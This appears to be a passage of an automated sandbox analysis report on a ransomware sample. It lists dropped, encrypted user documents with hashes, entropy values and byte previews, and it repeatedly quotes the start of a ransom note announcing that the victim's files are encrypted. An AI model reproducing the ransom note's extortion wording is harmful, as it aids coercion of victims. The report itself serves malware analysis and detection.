            Preview: .G..Z...K.e.r"....K.).-.....hq....>;l....NE.y...*;.?...h.6.Hi.t..{8.X...p.>%.......Y...Z^..#....j&.k7`..k../j.s.$....}t_eE.....t........a../8n.f.N.*<...F....n.....u...l.37....[/....B...=_....sbu&....)Jm..3.D......_|.5..wh.0o"...'..z...s...;x....v...$k.~.....<.PxA.E[{.w.~.v...A.....`B}"|N..W{..Bj..:.b.......].".ck.].!......t...X.......O....Y............h.y./.;....}y..(...i$..%..J........h..D_"..V.*.for.......x.?]...3.d.&w.4.$.Hh..).0...6.2...WR...5F....ZQ...l..w.O..s....8.....h.M).uC.........MlF....*.m.J.?.."...B..?. ....3<..>...R.f.........k....nF+x.!`h.YZ.....5......Nat.c...7.RjU.Y...g..~..T..q..nnoj..29j......!.>....n...q........=......m5}.t..{.J.A.7......}.B..0..I3.....0...k1w.L`...a.M...]...f..+G....D....\x<\.F+it2s.W......9....@..#..o.ne.....P...x...[.....P..b...7..2...u.2....t...........X..t..|..E....s.NAL>..TE.4..U.h2oy.H.."..9...Gl....!.z?X..a+;2..........e^.fy[..JT..,..p...<...%.....h-T.._.v.......X...{.D.0DA"p]a.U?...L..b
            C:\Users\user\Documents\BNAGMGSPLO.pdf
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.8370374613325655
            Encrypted:false
            SSDEEP:24:My6MVwzQ97f4SIOEifiI86cQxuWiXnGODUyYxwlvuJTniqOsDPVtckn:M7M+s974IQoiXGO5vuJTniPsDPVtck
            MD5:6D1EED7688D9BDBE97C7DA379E30C967
            SHA1:1AA0CB8A0650EFD47DC5255076FAC51AECE5D52A
            SHA-256:A84B03BE462A9ED8237ED576F8CE0794242C4A6743FA60AC373C7F5DC0F4EB3E
            SHA-512:2B686EBD53FA32EF48CDC4E71C9D247F76D1281F910DB522AAD2A9F5363B84454A4EF62410EE7F3F7DD06031E52DA62A095CF125D6539F199B394D254BA4AC32
            Malicious:false
            Preview: .r..p.e...,;...&..4..k|.=%WC..A...qL.."...fD.b=b.sx.:..W.I.r.#1..E....6.....8.N."Ks`M.v.jAn...}.........o.K05s.....}.f...],=......+..-./'3.....0(........S..2.%...Uz.....[..A.p^.W..v+.[=.l#...i..Kol......==|a.\..#..Vn.&.4@.,>CWi.4dH...6Kg..=.....t...(1...!T..M..'.F6z..D0U..$.ug:.FP........,....F=....[...S..;...%..$.C...\u..I.X..|...9...v.#.e....j............'p.........h."..R...k..!..1.<Q...{.el._-s6....6..fQ.....*0S.H..+?...4...?...m.....of..Va]+?.7M.d=K`Pd.c..s...r$.-..SBA....K..G..Ouw...t\:...e3.e.......V...N..Y....Xj.....`.s.,......Q+.sx..6.....OL..,_.....>.c.i{ .<E..9..._......^.9G.Y..j...C/.(.....@3........T../.Y.M5..g.Vz......XM....y.2..d..R...)M7...u$...C..U.e...N.M..O.n..../_B..>..-..L..:....u.K0..S.*.........K.1y9.u.@q...e.......lX.T....B...3Fg.%B#.....8o.SI..X..6.W..HV.y....5]k.%.........j\....v.....-]XJ......q."..-o.e....p#..uN\...s:..;.....4..x.2t....f]].....m~.,...H6....p..d.O.S..|......g..g...%8.F....W.[k...p..J:pO,..S
            C:\Users\user\Documents\BNAGMGSPLO\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Documents\DUUDTUBZFW\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Documents\EEGWXUHVUG.jpg
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.850084426907626
            Encrypted:false
            SSDEEP:24:L6lcuDeruIrysqVV3QIdPs8Y96Dl1zCBDj2rlvuJTniqOsDPVtucec00:GlpDeyIbqVVVFoQDlB8jsvuJTniPsDPp
            MD5:0E13A1E5D97653DB00AF0921AE3D377F
            SHA1:22107BD5FFCF3A2361C7AC3F8E95F27943088745
            SHA-256:E6E2AA35F87760D31ED0E32B159A2C205D81384CE35245AFB9CCB8B46A250205
            SHA-512:938A2B75B0BAC0FE22AE1DCAC1BE28F70D682DDD7FD4F89159AFB18CEF4822D04EBB44002FD7C0D7B1D379DDC72A720B8C7EBB83F4A243CC72380D6FB5F34438
            Malicious:false
            Preview: H.A......_...(.^Fg..&.J.$x.1M.$....(K...1\i..z..?'.*..S.{....R..\>..d..n......,.A.PSF...: ..ET]|.,..^..3.:...lVTfr]....M....)..V..p|E..m6..+5.m.e"... .U.92M......:. aY.d..8.+..DH..}....:...P.@....6._.P9.n.+.j.N.b..}....S..Rm2...5&O....6H...{....C. .....]..cbI.'..-.....;f-..(w...G....O$.E..Yt....U....I.m@.a....I..~.c..L....D.....V....FEL.....|...-...Ws,/.Kn..C......v..~..#.3.l...........t.y.Mk.....Ny&...X*8.p.m5./..0...Z.n.v..w.......b..d.-..,r#;-.A.!.|.....C^QP..X.*......3K......c.n..q./D[.`^........uB......+.{....|.C.9.y...f.)B..;.....1(^...bJ#3..5=!.X.T.6.v.k.U...G7...Ir....e......4.|..\2.C@I..N..?.....(.....n$.7..\w.....r.M%......jb.. .V.^.`..o....s....6Q%Ib.E..[..a....i@,..].q6.......O.c2*ri\)...bH&...+1.Xx.!..=b..L..shb1M$A.J......[...u.Z..4..-...i.$.jC..]...=.....^..}............#.,_.~..5.H..1..1..3/K.X.B..w.\..O.Z.}..._....Q..0.,.\.Y.0|.........Y+.........DS....y...Ln...u..g..9.T.F.14.....!j.k.........o.=............S..h
            C:\Users\user\Documents\EFOYFBOLXA.png
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.842775870821011
            Encrypted:false
            SSDEEP:24:h9SR02adpys7drcKdZ/LMp65g0lkuGPRYEwAAmAPh9akoCsTlvuJTniqOsDPVtb:h9SmzyMeK7/L265gEk9ZuAM9s5vuJTnX
            MD5:524331ADE78AFD125BDA8C1D71DB8BFF
            SHA1:57A1B30233160DD93429D981C8D92345D5AD0DF5
            SHA-256:B8EF501CBF15FBE075176E6E0A820F1DB5ACBFCE0E643677B0A104E5AA24EEC4
            SHA-512:16083ED8737D37CE92DB07C012C8733B65B3D23B6FFA85E65DB0883C19D940751EEED731E79FC23401265FAE317E3F74E82B2262AA55186DA883DC4FC54FAE12
            Malicious:false
            Preview: +oY9...MI.'....~.F..IE.....Z....x.j..6.n..Hl@!..PGa.r.O.O).)..D...../..%........$I......O~....|.7.G2..G.FL#."O.VyA... ..D....^.D.m.w.~#.4.Z.WQ.3....g....W....4.......n..k-..p...x.........B...e..7/V......[.A.#.^..{....0....%.N.n...V..%Auq.4.U.......$&..."..?...ys..L.J..d^UDb8H5I.;.t.......H#^#.?...%......_...y..C`...`./c.;GI..j.3....J.....-.L..,.u. .]H..@..Yl.........].....hC.3..8....>..?........A.s.nw....\*A..^....4.>t.....G......V..<a:........5.a.%*..^,'nZV.E..~.:R......(a.....O...'qg./hOJn......8.a......V.xE....U/...a.d..V......]...:"..o.o...I.2.).E.g.l.........}V............O.S2......MWB....p<F>O.0y2................=....}........B.X....=.d{..M]..'..w.u..:...FB..m8AgQ.C..%..]p..o.\[x..]w;..%i..?.Z..nu3.(...s...y..q.E...^..7...Qy....2x...]V..S........^...3.oV`L...L.r....K.}..K...D..=6..}Y.7.{:'.1X.~.E.....T.?..i. D7....0..5.YLKkP..G.t{.?..m.n3.:...R..!.7....(_..i..8......!.".e.......{.K\Y.....<#...$....P.........2...n.u....\.e...l.
            C:\Users\user\Documents\GAOBCVIQIJ.docx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.852530386824396
            Encrypted:false
            SSDEEP:24:7n8MSIt/DMeVxejJJSIXZHyYbXxpRGZK8ghglvuJTniqOsDPVtwlR:3MeVxYnLZHdhpjIvuJTniPsDPVtwlR
            MD5:DB9050E8BC4EEFB4FB20EC3C1652F5D1
            SHA1:F81F01B3C2632B43B4C0410E65C3D0634B679D8E
            SHA-256:67563A7540E66A55EC4D79F9B43B512D51462C047842F523469091D0AAA73157
            SHA-512:F4872732C3D8972B1E48BEDA4272CF9F55EA9F21694812C5D1DB18EAD7C7010E7DE6CE0EC18D6510D38398E7200CC4656CEB9E12694941E29C192ED99D6F153C
            Malicious:false
            Preview: .wp.e.!..{..9..eN..............S.W...P.).....L*....'Vf....../.......":Z....)...Li...T.^?..6).w.....?.6.G.....&+.].W\....,.......V8"...Q..\h....o"xZ...j:...@.c.+..l.U...QU.....)2..........*5..+.......r.B...}..M......).,..jT..8../'.q#...f....P.aps..K %G-.....[..6.6".^t....(...&.._F.J+:...W.u..s.E..1...6~A2..".u.[U.[,.2-.fOL.^>..`.....c./..;Uw5....V ..\gD.n..-.gR.u...X.'.7#Z-.NM.....9....c..7-.*...s.6d...E..0....._.....a......u.....|....O:<h.%...9....!Z...8.....PU)....p>.a&;J./...5.."...e.:A..Io...S...R.H8v.h.h.?....VKZO...:.B./n.....x..].u..'.Ja}.*($d.,..d..B.....^.g....|..d..G....;./m...C.=..lN...%Vr.%.=.#L.o...bg#|uy.d.4KeJ.#..<..v."......... :D.VQ.....Lz.|Z.?)..K.q...bRq|RwF.M..S.1...RJ4.>.Y.H.}.,....w.c...9..M........D.....8.d..LT.......R.a.T..5.r....p8.|_.T.\.*TBD...Ms.5M@o.....i^..0.K..a..=..1._.RO..Qr.e...(bg3!r6.g{..=....^T*s.m..E.`.....KUB.9..Y.%sP..........twy.As.k,2..F.....|.(....S.....lK../....w..BX<..f..j.......n.!.?3..p.N..j&X.).....
            C:\Users\user\Documents\GAOBCVIQIJ\GAOBCVIQIJ.docx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:COM executable for DOS
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.844315654570002
            Encrypted:false
            SSDEEP:24:WhUhnsdRCEceeahzuiK+7jgINkdEc68RMQE8b2bAhblvuJTniqOsDPVtjmGB:WhUhnsGeeahV97NwEc5MQE8bXvuJTnik
            MD5:03D42AD7CF1F2C2DE5653D01B78755D1
            SHA1:873A377A216EAD9FDE4CDF5859E55078BDF6F673
            SHA-256:0B4B17DAEF9C1085655BFAC722968D310A0FF4FEDEEA0900853A5C7DC7CAE689
            SHA-512:8C8E677D14BCA07E0730F2F96BD12A848413D6715608727D49CD1DAFD38998720218FE64AB232799C16F907978AE326D04A22C1A2F7264F5662A627C425866C5
            Malicious:false
            Preview: ........_..r|.@.4...v..m....LD."G .e..``..S...tY."509Q$D.....a..\.......9.`.o.{...@.....V..q5b...O...}G,..q..)D.Ryr##...-...C'.....9...m.....U...KR.......0*.....r..".B..+...K~..q..D7L;.$c.Mw....m1.A.!..g ...FG..x..8.......+...6.zW..}..m...E;...:.\......?.B..@.VW..`W..Ck..O^Q..OEmv..E...].x....vCJpU.w..=Q..7V..r>{........?kZ.....D.W...h..]4.=...4.....~!..>..5s.t...2.k.A...,...^.f..E...E*..P8...X......v..?.9...s..*o.;g.S......H..T..H.=?|.e..Vm.B....YTz#....i.P8..y....6...7#6.}.[.1..a..}........Wz....=..8._.<t.........dci.`0..m...).....7..|%.r.|.V%......4.x:........FE.F........).'&..j..d.@dr|.....&-....=...s.;..&....U..Pv.....V..Y.x..1.....Y^j.8..Q.....OJ...i.~.L1/.d/......?..Q"qR. ......y.Eb....f8.".8-...1J....b.9T#S....I.~.u..i.g.x.x.IiL...&QT.../.v3."...^.}Qg.t.....7j0...>.=.>.|.n..U/H~.:.%".)3..4h~.].h.._......Q..A...w-)...lm]........]....H.g.?...a......o.C.{.ZT..4..n.N.ew>..P.....7.&.\R}.....b.$Q......X..2.9.l..7.gO..i.Gl?.M..X...&
            C:\Users\user\Documents\GAOBCVIQIJ\PIVFAGEAAV.mp3
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.8479564143383165
            Encrypted:false
            SSDEEP:24:AU6IHn7DrjjSlfKXCVbOteEaRnY3KZNRDzxBLZtzhT7rIr6zlvuJTniqOsDPVtAC:xbDrUfKXC1Ot8YATzzl7kuZvuJTniPsj
            MD5:DCBB9C9539B1587FA193255B4DC8BCE4
            SHA1:A288988F686193F71E8AEFE44059C1158D5AFC93
            SHA-256:DD1438E6F1993A430F26D459B25E142C7EA357D8B5D852CED977546FEC21666F
            SHA-512:1C1233E7B3EFAAF246E99482237FDF65AC785F0B41DB3081E5044ECCBCA71B025CFFD2D9C4CA287ECE2FD1C6FBE80687504842A1EA269F64D26C49748D0BA780
            Malicious:false
            Preview: .X...K....@.....e....crS/....'..C9...[.8An5$..jj..%.[......w..<......O|..)..iO.1...d..M+.. ...QV.....t..E.....p]...#0......B..A<..R..H.....]eae7,v'..Z...,..k0.h.L. .3).$..K...7I...Z4.c2...o...N.j....e1...E.Zv.D....nT.|.}....u. .Z.$...]7....I.q_@.Z.B..).f....hK....7.HkT*.5=`.1,x..E.b=.......("...u.L.I\..(O..-m......d5...d. q......MZ..Z.....k.,O.$*...H....\..C.8..a.d1.T..f..T...F..Ig..f../g.[S...|......^.....:g...A~6J..BN.p.....V..h=.`+..U!...0....K>.....N........}r....}J.....~t...t.C../|........Z....&..(....f...4"...H1..'...$."&M...;..D....1.f..G...}7...2..?"ypX...".>.K...a..[.Cm....c..z.......#.FAE"......&.Yw.....{..n......D.Q.....<.]...0.L...e.....,......'.^...^.F=@.p.u...8..Lio..'.. ..>.J.}.ElyF..]...c.f..,...m..B)"...m......3.*(............=..2.iE.U.Eq...k5..jfJQ.0V^..)$.-.....AZ+..'d....YfK...iU.F.U...qL.0..E.. |h.I......H...x....@....is.~G.l..L.y.J........~..s.<.0..@SIj,.a...2....:3..a..+6......??.N.C..n!.+..?(..l.E....]..,..*.9..jP..x
            C:\Users\user\Documents\GAOBCVIQIJ\PWCCAWLGRE.jpg
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.821996244350178
            Encrypted:false
            SSDEEP:24:fK9lSzgG4nFq9s2WGj5VGz+yohIwKfWCoqZTuM8vOYB8hdxu6AlvuJTniqOsDPVO:+lSJWGj5VALohzkOvBSXOvuJTniPsDPQ
            MD5:61D366BF36B3014BA1470DE4BC86F5B0
            SHA1:1A7FF5070850E9539AC0F0107A8BAFACB0EB7E71
            SHA-256:12F37FFEB769767483992499F7686DD165EC174051D9351E0A89C876003F223C
            SHA-512:0E66E6F4CB0DB96D7B636C87C2A1539D4BE4C74C7C4A3C7A277294745299B517572AE5540A6A5D9DBE83BAE703F4AA60A562BA731D6130182B18B6769D2D5043
            Malicious:false
            Preview: ,..."'...(...b.u.1t.N2Ed...ti..."G..~d....N.D|...)DP)&....:ami8s.3q.s....\.\.U^...|..F)[.q.H....f..S.....y0.).tp)V.`4...l.]....U...K.#..-=.t..._.[\M......O..\56...P... K4...(f^iU..Xd..2....b....DM}{...>.....D...XA.......q...@....A..I,....z.j.....9.O...Ph...ub.....+..Tv....~....u2....e3m.a......u........3,...F:.^..j..7B...*.6...Q.B..}..82..L-@.[+.N.......FiYQ2....x.R`.%:P[F8..0F....;+....4..?AT.......O..........`.#.5.L..:.-....e.K........._GXTrL..92j..z.......G.4....{a..mo....p.N..p.EN}.7..:.....y..4.....0+..uq.r..d-H`!..*=..~....gv]LL........7k.&.PB1..r....,......C7.....3...y?.0Y.+V.y...-...l.p..V:.gK..7..X....=.~......].<..a....HY.m.<....u.5..>.S..O...j...e0.`...+;i.............^ayy.P..lDV~..i..._..F]..e\.A..<BQ.;.|........@.C.Z........*\..}.....I.8.\...r....3...:JV.."...?.=...5....Z.....F...C.BTN.......p.......-<.K...'...T.x+X e3.W(.....Y..HuM...>..k..V.4m.?8.Wy.nF. .{.2...O6h...;.....Fr..L.......|FB.?.M......@up.
            C:\Users\user\Documents\GAOBCVIQIJ\QCFWYSKMHA.pdf
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.838255196154118
            Encrypted:false
            SSDEEP:24:iYRHSrCLMC53wwlvjyN4gX/XBAFrFI/4opFDn7LdiYcFNy6XKUlvuJTniqOsDPV2:eqMCFwavQ4gidF2fD75SAMvuJTniPsDE
            MD5:019D7E3A3D6502C8F3E4B1C381A99106
            SHA1:91E7F9F0286CA49B9137E654E7B0F2B28E11B914
            SHA-256:A4CC89CF0E97E836C404427D648011952816997BA66BD22B72D35FAD828E66DA
            SHA-512:FF56A36F9B89348989342E2C3857095919C3CF2E622B853BB82B17E454827E92732BBCE3A715BE536BFD497BE1342E69958D632E5CE38BB061043C5240C78910
            Malicious:false
            Preview: n~P.V.....t..._a'........8....e...C..**.<".c../....k....h....b.!..b.. .u.....W....ig.:<s...Q?i.2.q.$.....~.P....g3.I.$....<..0..c.?.....B/.v].P..D.A@.lN:......._.f..c.....)..k]...M.Nd^.)....*.V/.......k.....7.>/+.sO...:s.L.wZ.'......ot..G...../.]..}l....u44+...L.A.....s?..!..q......IIeP......x%.Y...&..8,.S.}..H.E..j.].;..9...U..X.Q+.yy.|@b...;........a.....Z."..].&.....*..p.;..Z...|.1[.&....g2A.Z`...K....x+..s_....1..t..z..J_t.....[.y.!.I......;.Z(FU...!t....m..7...$OZ..A......../x<K....^...e.(..G...n......A...to.;76.W.....F..}.../p.O......!R....*.b5..)h.**...).../...O...Mh.....t..u..&oCG.C...2H8$R,..e.]...5....K1"..G.A.1.R..m....H5.T&@O.g..........b......}..e.j2L.....b.O.$N].[.t/2^.....`.,*..F.A`WLeb.....OchT.kxr.$.i.0G......e..P....K.T.r.=.......id.Z.D..n.X..w3.[|\8......&..4...m..K....?..8!..`a%...w....#.rl..F..B...._..r...2c.Je..Hf.3.H....X.~?3....?.AG(..&....b..$..t.......J.u..}.g..I..+...HL.....w.....:.......5 .......&..
            C:\Users\user\Documents\GAOBCVIQIJ\QNCYCDFIJJ.xlsx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.840485319119449
            Encrypted:false
            SSDEEP:24:vy7U0fVqNllfa1e1fy4cAkbzZAnC5jz2P4Px1Oltom9P0ZDY5HlvuJTniqOsDPVs:wfE5fa1ialvbiC52mstlMZDsvuJTniPR
            MD5:DABC55DEBAC73FF0C29B15EA8BD9D4E7
            SHA1:616AB3B21A3E1A9DBFF18E87A449911E7DD7DB27
            SHA-256:D3D04CD62BC50C3E7928DA06B1517E9FEEE122AE27D4EB1EDE55322EC80D2950
            SHA-512:E5E350355FADA5643284E64AA0E85117C370394A59B9398E2AE92D25C409ABAA1DF4120C35B6C605254079A70B72C48591A2797DF769A1063CB661FF928324F4
            Malicious:false
            Preview: ...d..j!..^.i.3.S..&J...S....(...U~>x.Vs...q*...,.P.-&.Q...WX,...1..b...t@-..;N.Yc5Ej.-.....jh...zP..7b..,..*..0..}..I.<...wlm..6>..:x.Yt...{w.?.Y]._...`v..9....C&....b.?....6.'j.J.O..z2yk....<.'...._e+l....LF.*$.t.e......9H.%....#.1.....2..v8...`7.A.IY.c.j"...>V..9..}.wJ......./.a,8.....W..m.6..*...{:4..l.9..+..._i...].~......o...%/...l..PN.....z...Z$.....Y..........8].L#...~....!.Ti).'FI....s. Z...0 ...Z{.M'.7.@^..A#..\.KDM..mp5....4E.n..p..S.S....:....[.K._..B.. [.}.].....<U..!.E..F.`Aw..xg....V".?.S.OA5...~......5..Z.z.....|u...].W.]...L.........bf.p.a4j.}.oA........g~dK....F.R..j]*..1..{2.'."[.mYh....H..D2.....2-..OH...2@....?....l$|......._.#3.x..z.Y2..n.z.M...jL.}'.q..R.Q....8A.PO...l.....d#....#.p..S...a.......L.-....e..?UZ.Y$......T..v.v#.."..w.M.|..2m.Z.....z%.Wa..f..?yj..S..:....b.=..>Z..y.f.7CKT....3.4.O"F;P.....90.v...s.../......._i4<P.._\.)z..).....A...+..3,.+P.z...?...t"../.`..5..2*R...q.....l.j3..z..ez..`....Y
            C:\Users\user\Documents\GAOBCVIQIJ\SUAVTZKNFL.png
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.853181802934682
            Encrypted:false
            SSDEEP:24:NKHeu0ZB13hDvX/k3lVygWDkiYmxXCZztAUgUW4J661dFHElvuJTniqOsDPVtgYn:Nru0ZZvv+yPhYmxXKvWW661dsvuJTniK
            MD5:E87D971C5E5EB59FF9AD97B185162B4D
            SHA1:A4365B411CC26EBBA22B82AA2E27B65187093064
            SHA-256:3AD3C07E6DFF3958E779A5391913D79B30BBC9EDD635B2113258AD7CEF2F2DE3
            SHA-512:463AD7A8181C5CE557B352E9F7836B251ACEDE996A647EFCDBEE13EBAC810BE5D6AA3F3E49B8A265BF81B777FE50B8E3CB79F67299983CCE51DE350B506C6376
            Malicious:false
            Preview: t....!..a.^ ..W..Rc......m.....`<p.{..x...q$iv-g..zx..$...wBu....K..y.7tO|(.<..W...'..7..8.f....$g...j..TS../..P.f?Vr..&!.....^...9.kD....7P$..xd^..<..S.-.h....69.<.o........MBY..G+....U...Cw...9s.d?4..p...1lo..:.i..4....Ap.U$._{.6(.S..Y..e.I....H9.@... .._v~.J.....&i.t.}.ieI]G.`|...<.^..L...U*w..K.:)...U.........g..>...h.....d.E.....[......Ol.j.rg.2.....2@Z>.v..y..e.+...1|(.5..X..Q.a..E,).........8..na.E.A.ZH7g.hF....p.L@u.EZ.n..?.......]...x..|O)..X.F)4..aj..]. .X/e.......;|..n.+c..x.....+}.Y../...b..../..s...Ba.Z..%..w.......Pj>N^W.%...tg..n.5.>..$....8..2....i..]JzeB..S8|j....$c..HYn.0-d....$.T...\.,.l....3....X.S.y.yQ.......kx.E...*......%..%....I..1.X(s;..4.{-..).('B!..fi...f..:.m3.{...O.\.G{.Y.&.b..D..=\.1.'l.!...V_...M3'...>....-....)..W...$.!.....I.."Q.&+....).$u .;....'.d/.0.\q..NLC +..q.L+..'!.G..K...e.F"T .#...wK.:n......V.$...~.z...?. ..2|....8..?.....g...-..0....^....I....+.1...>.......y...#......z.H.... =<2..z..F
            C:\Users\user\Documents\GAOBCVIQIJ\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. 